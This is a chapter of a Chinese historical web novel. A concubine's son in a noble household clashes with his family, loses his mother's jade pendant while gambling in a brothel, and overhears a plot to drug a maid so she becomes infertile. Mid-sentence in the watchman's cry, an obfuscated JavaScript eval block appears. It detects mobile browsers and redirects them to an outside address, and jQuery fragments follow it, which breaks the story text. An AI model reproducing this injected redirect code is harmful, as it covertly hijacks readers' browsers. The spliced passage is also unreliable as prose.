正是仲春时节，永安伯府后园的西府海棠开得正盛，胭脂色的花瓣儿在暮色里洇成一片朦胧的霞。府内处处点起明角灯，丫鬟婆子们捧着黑漆戗金食盒鱼贯而行，往正院懋德堂去。


    懋德堂内烛火通明，一张黄花梨木八仙桌上已摆开十六碟时令佳肴。主位坐着永安伯陈敬元，年过五旬，两鬓已见霜色，着一身石青色暗纹直身，腰间系着羊脂玉带，手中慢慢转着一对京师流行的“公子帽”核桃。他左手边坐着正室王氏，头戴金累丝点翠翟鸟冠，身穿沉香色织金缠枝牡丹纹大衫，面容端肃，正低声吩咐管事嬷嬷添菜。


    右手边空着一个座位——那是留给嫡长子陈显祖的，偏巧今日去城外庄子查账未归。再往下，才轮到庶子陈显宗与庶女陈显薇。


    陈显宗垂首坐在西边的位子上，盯着自己碗中那几片薄如蝉翼的火腿。他今年十九岁，生得眉目清秀，只是眉宇间总锁着一股郁气。身上穿着半旧的宝蓝色直裰，料子虽也是绸缎，却比父亲和嫡兄身上的云缎暗沉许多。


    “显薇，”王夫人忽然开口，声音温和，“前儿李尚书夫人来做客，说起她家三小姐新得了幅仇十洲的《汉宫春晓图》，你可曾见过？”


    陈显薇正在小口喝汤，闻言连忙放下汤匙，起身道了万福：“回母亲的话，女儿未曾见过。”她今年十六，穿着一身藕荷色绣玉兰花的比甲配马面裙，发髻上只簪着一对珍珠小簪，素净得与这满堂锦绣格格不入。说话时眼帘低垂，声音轻得几乎听不见。


    王夫人“嗯”了一声，转向陈敬元笑道：“老爷可还记得，去年显祖生辰时，李尚书送的那幅唐寅真迹？我瞧着显薇也到了该学赏画的年纪，不如请个女先生来教教。”


    陈敬元眼皮未抬，只淡淡道：“女子通些文墨便好，学那些做什么。”说完夹了一筷子清蒸鲥鱼放到王氏碗里，“你多吃些，近来气色不大好。”


    王夫人脸上掠过一丝笑意，转瞬即逝。她斜睨了周氏一眼——那女人站在陈显宗身后的角落里，连上桌的资格都没有，只能侍立布菜。


    周氏四十出头，风韵犹存，只是眼角已爬上细纹。她穿着一身半旧的月白交领衫，正默默给陈显宗添汤。听见老爷的话，她手中汤勺微微一颤，几点热汤溅在手背上，烫出一小片红痕，却不敢出声。


    陈显宗看见母亲手背的红印，胸口一阵窒闷。他猛地起身，端起自己那碗火腿汤：“这汤凉了，姨娘给我换碗热的。”


    周氏连忙接过，转身要去盛汤。王夫人忽然开口：“让丫鬟去便是。周姨娘，你且歇着罢。”语气温和，却让周氏僵在原地，进退不得。


    陈显宗脸色涨红，正要说话，陈敬元已重重放下筷子：“食不言寝不语，这般毛躁，成何体统！”


    满堂寂静。烛火跳动，在每个人脸上投下摇曳的阴影。


    陈显薇悄悄扯了扯兄长的衣袖，示意他坐下。陈显宗咬紧后槽牙，慢慢坐回椅子。他垂下眼帘，盯着桌上那盘水晶烩蹄，只觉得胃里一阵翻搅。


    这顿饭吃得味同嚼蜡。好容易熬到撤席，陈敬元起身时看了陈显宗一眼：“明日你随张先生温书，前日那篇制义重写。写不好，不准出门。”


    “是。”陈显宗低头应声，指甲深深掐进掌心。


    静蕤轩在伯府最西边，是个一进的小院。院中种着几丛湘妃竹，夜风吹过，簌簌作响，像是在低声呜咽。


    周氏点起一盏豆油灯，昏黄的光勉强照亮这间狭小的厢房。屋里陈设简单，只有一张榆木架子床、一个梳妆台并两个樟木箱子。墙上挂着一幅褪色的《麻姑献寿图》，还是她刚进府时老太太赏的。


    “宗儿，今日在席上，你不该顶撞老爷。”周氏坐在床边，手里缝补着陈显宗一件旧衣的袖口，针脚细密得几乎看不见。


    陈显宗站在窗前，背对着母亲。月光透过窗纸，在他脸上投下一片青白。“我何时顶撞了？不过是让姨娘坐下歇歇。”


    “你当我看不出？”周氏放下针线，声音里带着疲惫，“那碗汤分明还烫着。你是为我出头，可这般做，除了惹老爷不快，还能有什么好？”


    “我就是看不惯！”陈显宗猛然转身，眼眶发红，“姨娘在这府里二十年，生儿育女，操持家务，连上桌吃饭的资格都没有！太太身边的嬷嬷都能坐着用饭，姨娘却要站着布菜！这是什么道理？”


    “什么道理？”周氏苦笑，“庶出的道理。你当这是什么地方？这是伯府，是讲规矩的地方。我是妾，是奴婢，主子吃饭，奴婢伺候，天经地义。”


    “天经地义……”陈显宗喃喃重复这四个字，忽然笑起来，笑声凄凉，“好一个天经地义！那我呢？我也是庶出，所以我穿旧衣、坐末席、连出门会友都要看嫡母脸色——这也是天经地义？”


    周氏站起身，走到儿子面前，伸手想摸他的脸，又停在半空。她看着这张与自己有七分相似的面容，想起十九年前那个春雨绵绵的夜晚，她在这间屋里生下他时的欢喜与惶恐。


    那时她年轻，以为生了儿子就能在这深宅大院里站稳脚跟。如今才明白，庶子不过是另一个身份的奴婢，甚至比奴婢更难——奴婢还能赎身出去，庶子却一辈子都要背着这个“庶”字。


    “宗儿，”她声音发颤，“姨娘知道你心里苦。可这就是命，咱们得认命。”


    “我不认！”陈显宗甩开母亲的手，声音压得很低，却字字咬牙，“显祖整日走马斗鸡，结交的不过是些纨绔子弟，父亲却把城外三个庄子都交给他管。我呢？我每日苦读，制义写得比书院里那些生员还好，父亲连正眼都不瞧！凭什么？”


    “凭他是嫡，你是庶。”周氏闭了闭眼，“这话我十九年前就该告诉你，可我总想着……总想着万一……”


    “没有万一。”陈显宗打断她，从怀里掏出一枚玉佩。那是周氏娘家带来的遗物，羊脂白玉雕成双鱼衔珠的样式，温润通透，是他十五岁生辰时姨娘偷偷塞给他的。


    “姨娘，我今日出门，遇见卢家大公子卢弘义。他说，只要我肯跟他做事，一月能给五十两银子。”陈显宗摩挲着玉佩，“五十两，够咱们在荷花巷赁个两进的院子，再请个婆子伺候姨娘。”


    周氏脸色煞白：“你说什么胡话！那卢弘义是什么人？京城有名的纨绔，盐商出身，满身铜臭！你是伯府公子，怎能与他为伍？”


    “伯府公子？”陈显宗笑了，“在这府里，我算哪门子公子？连管事的儿子都不如！至少人家能领月钱，能娶妻生子，能堂堂正正出门谋生。我呢？每月二两银子的月例，还得看账房脸色！”


    他越说越激动，胸口剧烈起伏：“姨娘，我受够了！今日父亲让我重写制义，太太看我的眼神，就像看一条不听话的狗！我宁愿出去做卢家的账房，也好过在这里当这个‘庶子’！”


    “啪！”


    一记清脆的耳光。


    周氏手还停在半空，浑身发抖。她打过儿子，小时候淘气时打过，可从未像现在这样，用尽全身力气。


    陈显宗偏着头，左脸上迅速浮起五指红痕。他没有哭，只是慢慢转回头，看着母亲，眼里最后一点光也熄灭了。


    “你打我。”他说，声音平静得可怕，“姨娘也认为，我该认命。”


    “我不是……”周氏手软下来，眼泪夺眶而出，“宗儿，姨娘是怕……怕你一时冲动，毁了一辈子。那卢家是什么门第？你跟他混在一起，往后还怎么……”


    “怎么？”陈显宗笑了，“怎么考科举？怎么入仕途？姨娘，你当真以为，父亲会让我去考科举？会让一个庶子光耀门楣，压过嫡子的风头？”


    他后退两步，转身朝门外走。


    “宗儿！你去哪儿？”周氏追上去。


    “出去走走。”陈显宗头也不回，“姨娘放心，我不会去卢家。我只是……透透气。”


    门开了又关，湘妃竹在夜风里摇曳，沙沙声像是谁在低泣。


    周氏扶着门框，慢慢滑坐在地上。她看着手中那件缝了一半的衣裳，忽然将脸埋进布料里，无声地哭起来。


    出了伯府后门，穿过两条小巷，便是京城有名的销金窟——荷花巷。


    此时华灯初上，整条街灯火通明，丝竹声、调笑声、猜拳行令声混成一片暖昧的喧哗。空气中飘着酒香、脂粉香和炙肉的烟火气，熏得人头晕目眩。


    怡红院是这条街上最气派的妓馆，三层木楼飞檐翘角，檐下挂着一排大红纱灯，照得门前车马轿子流光溢彩。门口站着两个帮闲，见陈显宗过来，连忙堆笑迎上：“陈公子来了！卢公子已在二楼雅间候着您呢！”


    陈显宗面无表情地点点头，跟着帮闲往里走。一楼大堂里，几个浓妆艳抹的粉头正在唱南曲，台下坐着各色男子，有的击节叫好，有的已醉眼朦胧地往粉头怀里塞银子。


    上了二楼，喧哗声稍减。帮闲推开一间名为“醉月轩”的雅间门，里头立刻涌出一股混合着酒气、脂粉气和龙涎香饼的暖风。


    “显宗！你可算来了！”一个穿着宝蓝织金曳撒的年轻男子从榻上跳起来，正是卢弘义。他约莫二十出头，生得浓眉大眼，只是眼泡浮肿，显是纵欲过度。此刻满面红光，一手搂着个穿桃红纱衣的粉头，一手举着酒杯朝陈显宗晃。


    屋里还有三四个人，都是京中有名的纨绔，各自搂着粉头，桌上摆满了酒菜，已是杯盘狼藉。


    陈显宗勉强扯出个笑容，在卢弘义身边坐下。立刻有个穿水绿衫子的粉头贴上来，软绵绵地靠在他肩上：“陈公子，今儿怎么来得这样晚？罚酒三杯！”


    卢弘义哈哈大笑：“对对对！罚酒！桃红，给陈公子满上！”


    叫桃红的粉头提起银执壶，斟了满满三大杯。陈显宗看着杯中晃动的液体，忽然想起静蕤轩那盏豆油灯，想起母亲含泪的眼睛。


    他端起酒杯，一饮而尽。热辣的酒液烧过喉咙，呛得他咳嗽起来。


    “好！”卢弘义拍手，“这才痛快！显宗，我就喜欢你这样，不像那些假清高的读书人，扭扭捏捏，装腔作势！”


    旁边一个姓张的公子接口道：“就是！什么‘万般皆下品，惟有读书高’，我呸！这年头，有钱才是大爷！卢兄，你说是不是？”


    卢弘义得意地晃着脑袋：“那是自然。我爹说了，只要银子够，连宫里的太监都能买通。读书？读书能当饭吃？”


    满屋哄笑。陈显宗也跟着笑，又灌下一杯酒。酒意上来，眼前的一切开始模糊。桃红粉头的手在他胸前游走，软语温言，香气扑鼻。他忽然觉得，这样也好，醉生梦死，什么嫡庶尊卑，什么功名前程，都去他娘的。


    “显宗，”卢弘义凑过来，满嘴酒气，“前儿跟你说那事儿，考虑得怎么样了？来我家的票号做账房，一月六十两，年底还有分红。比你那二两月例，强到天边去了！”


    陈显宗怔怔地看着杯中酒，没说话。


    “怎么？还舍不得你那‘伯府公子’的身份？”卢弘义嗤笑，“显宗，不是我说你，你那个爹，眼里只有你那个嫡兄。你就算读成状元，他能让你入阁拜相？做梦呢！”


    这话像一把刀子，精准地戳进陈显宗心窝最痛的地方。他猛地又灌下一杯，酒液顺着下巴流进衣领。


    “卢兄说得对。”他哑着嗓子道。


    “这就对了！”卢弘义大喜，拍着他的肩膀，“来，咱们玩两把骰子，助助兴！”


    帮闲立刻端上骨骰和陶盅。几轮下来，陈显宗面前的碎银子已输了大半。他眼也红了，从怀里掏出那枚双鱼玉佩：“这个，押上！”


    卢弘义眼睛一亮：“好东西！羊脂玉，雕工也精致。行，这把你要是赢了，我加倍给你银子；要是输了，这玉佩归我，我再补你二十两，如何？”


    “好！”陈显宗抓起骰盅，用力摇晃。


    骰子在盅里哗啦啦响，像命运无情的嘲笑。


    开盅。


    三点、四点、两点。


    小。


    卢弘义大笑：“承让承让！”伸手就去拿玉佩。


    陈显宗盯着那三颗骰子，忽然觉得全身的力气都被抽空了。他想起十五岁生辰那夜，姨娘偷偷把这玉佩塞给他时说的话：“这是你外祖母留给我的，说是能保平安。宗儿，姨娘不求你大富大贵，只求你平平安安……”


    平安？


    他在这吃人的伯府里，何曾有过平安？


    “拿去吧。”陈显宗松开手，声音轻得像叹息。


    卢弘义喜滋滋地把玉佩揣进怀里，又掏出两锭银子推过去：“显宗爽快！来，继续喝！”


    酒一杯接一杯。陈显宗不知道自己喝了多少，只觉得天旋地转，耳边尽是男女调笑之声。桃红粉头的脂粉香熏得他恶心，他想吐，又强忍着。


    恍惚间，他听见卢弘义在说：“……过几日有个好去处，南城新开了家赌局，里头花样多，还有色目人带来的胡姬，那身段……”


    陈显宗闭上眼。他想，就这样吧，烂在这温柔乡里，总好过回那个冰冷的大宅，面对父亲冷漠的眼神，嫡母讥诮的嘴角，还有姨娘含泪的哀求。


    子时三刻，荷花巷的喧嚣渐渐散去。大红纱灯依然亮着，只是光晕里已透出几分颓唐。


    陈显宗踉踉跄跄地走出怡红院，夜风一吹，胃里翻江倒海，他扶着一棵槐树吐了起来。秽物混着酒气，熏得他自己都皱眉。


    吐完了，他靠着树干喘息。月光冷冷地照在青石板上，像铺了一层薄霜。远处传来打更声：“天干物燥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996002|193874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，小心火烛——”


    更夫的梆子声在深夜里格外清晰，一下，又一下，敲在陈显宗心上。


    他摸了摸怀里，那两锭银子还在，沉甸甸的，硌得胸口生疼。玉佩没了，换来二十两银子。姨娘要是知道，怕是又要哭了。


    想到姨娘，陈显宗心里一抽。他站直身子，摇摇晃晃地往伯府方向走。


    夜色已深，街上空无一人。偶尔有夜猫窜过，绿莹莹的眼睛在暗处闪烁。陈显宗走得很慢，每一步都像踩在棉花上。


    路过一条暗巷时，他听见里头传来压抑的哭泣声。借着月光看去，是个衣衫褴褛的老丐，抱着个破碗缩在墙角，肩膀一耸一耸。


    陈显宗停下脚步，从怀里掏出一锭银子，扔进破碗里。


    “当啷”一声。


    老丐抬起头，浑浊的眼睛里满是惊愕。陈显宗没说话，转身继续走。


    他想，这世上苦命的人多了，不缺他一个。至少他还有屋檐遮头，有饭吃，有衣穿。比起这老丐，他该知足了。


    可为什么，心里还是这么空，这么冷？


    伯府后门到了。守门的王老汉正在打盹，听见动静睁开眼，见是陈显宗，连忙开门，压低声音道：“二公子，您可回来了。老爷今儿心情不好，您快些回屋吧。”


    陈显宗点点头，塞给王老汉几个铜钱，悄声进了门。


    府里一片寂静。月光透过树枝，在青石路上投下斑驳的影子。陈显宗绕过正院，往西边静蕤轩走。经过花园时，他看见荷塘里残荷枯败，在月光下像一个个黑色的鬼影。


    忽然，他听见假山后有窸窸窣窣的动静。


    “……姨娘放心，我都打点好了。那药每日只放一点点，三个月后，保管她再也生不出……”


    是个女人的声音，压得很低。


    陈显宗酒醒了大半，屏住呼吸，悄悄靠近。


    “……可万一被发现了……”


    “发现不了。那药无色无味，银针都试不出。再说了，她一个通房丫头，就算真怀上了，能不能生下来还两说呢……”


    陈显宗听出来了，这是王氏身边李嬷嬷的声音。至于那个“她”，想必是父亲新收的通房丫鬟碧桃。


    他靠在假山上，只觉得浑身发冷。这就是深宅大院，表面花团锦簇，底下却是吃人不吐骨头的深渊。今日是碧桃，明日会不会是姨娘？会不会是显薇？


    他忽然想起显薇那双总是低垂的眼睛，想起她说话时轻得几乎听不见的声音。她才十六岁，已经学会在这大宅里把自己缩成一道影子。


    一阵恶心涌上来，陈显宗捂住嘴，快步离开。


    静蕤轩的灯还亮着。


    陈显宗推开院门，看见母亲坐在屋前台阶上，身上披着一件旧袄子，手里还拿着那件没缝完的衣裳。


    “姨娘，怎么不进屋？”他声音沙哑。


    周氏抬起头，眼睛红肿，显然是哭过。看见儿子回来，她连忙起身：“宗儿，你回来了。我去给你热醒酒汤。”


    “不用。”陈显宗拦住她，“我不喝。”


    母子俩站在院里，相对无言。月光洒下来，把两个人的影子拉得很长。


    许久，周氏轻声问：“玉佩呢？”


    陈显宗别过脸：“……当了。”


    “当了？”周氏声音发颤，“当了多少钱？”


    “二十两。”陈显宗从怀里掏出那锭银子，递过去，“姨娘收着，添件新衣裳，或是打副头面。”


    周氏没接银子，只是看着他，眼泪又流下来：“宗儿，那是你外祖母留下的唯一念想……”


    “念想有什么用？”陈显宗忽然激动起来，“能当饭吃？能当衣穿？姨娘，这府里谁看得起咱们？咱们守着那点念想，就能改变什么？”


    他越说声音越大：“今日我听见李嬷嬷在花园里说话，她们要给碧桃下药，让她生不出孩子！碧桃才十七岁！这就是咱们待的地方！吃人的地方！”


    “宗儿！”周氏捂住他的嘴，惊慌地看向四周，“小声些！”


    陈显宗扒开她的手，眼睛赤红：“我为什么要小声？我凭什么要小声？我是这府里的二公子，可我活得连条狗都不如！今日父亲让我重写制义，不就是因为太太说了一句‘庶子写的文章，到底气弱’？我写得再好有什么用？在她们眼里，我永远低人一等！”


    “那你想怎么样？”周氏也急了，“去跟卢弘义混？去赌局？去妓馆？这就是你的出路？”


    “至少痛快！”陈显宗吼道，“至少不用看人脸色！至少我能堂堂正正挣银子，养活姨娘！”


    “我不需要你养活！”周氏泪如雨下，“我只要你好好活着，平平安安地活着！宗儿，姨娘求你了，别走歪路……”


    “什么是正路？”陈显宗笑了，笑得比哭还难看，“考科举？父亲会让我考吗？就算考上了，他们会让我做官吗？姨娘，你醒醒吧！咱们这辈子，注定要在这大宅里烂掉！”


    他说完，转身进屋，“砰”地关上门。


    周氏站在院里，月光把她单薄的身影照得像一片随时会飘走的叶子。她看着手里那锭银子，忽然想起很多年前，她刚进府的时候。


    那时她十六岁，是老太太身边的丫鬟。老爷看中她，收做通房。她以为自己飞上枝头，却不知是从一个火坑跳进另一个火坑。


    这深宅大院，吃掉了她的青春，吃掉了她的尊严，现在，还要吃掉她的儿子。


    屋里传来压抑的哭声。是陈显宗在哭。


    周氏慢慢蹲下身，把脸埋进膝盖里。她想起儿子小时候，最爱缠着她讲故事。那时他眼睛亮晶晶的，说长大了要考状元，要让她过好日子。


    是从什么时候开始，那双眼里的光，一点点熄灭了？


    夜风吹过，湘妃竹又沙沙地响起来。远处传来三更的梆子声，在这深宅大院里，显得格外凄凉。


    周氏抬起头，看着那扇紧闭的房门。她知道，有些东西已经碎了，再也拼不回去。


    就像那枚双鱼玉佩，一旦离了身，就再也回不来了。


    她慢慢站起身，擦干眼泪，走进厨房。灶台上温着一碗醒酒汤，她端起来，走到儿子房门前，轻轻敲门。


    “宗儿，开门。姨娘给你送汤。”


    屋里哭声停了。许久，门开了一条缝。


    陈显宗站在门里，脸上泪痕未干，眼睛肿得像个桃子。


    周氏把汤碗递过去，轻声道：“喝了汤，好好睡一觉。明日……明日姨娘去求老爷，让你去庄子上住些日子，散散心。”


    陈显宗接过碗，热汤的蒸汽熏湿了他的眼。


    他低下头，看见碗里自己的倒影，扭曲，破碎。


    像他的人生。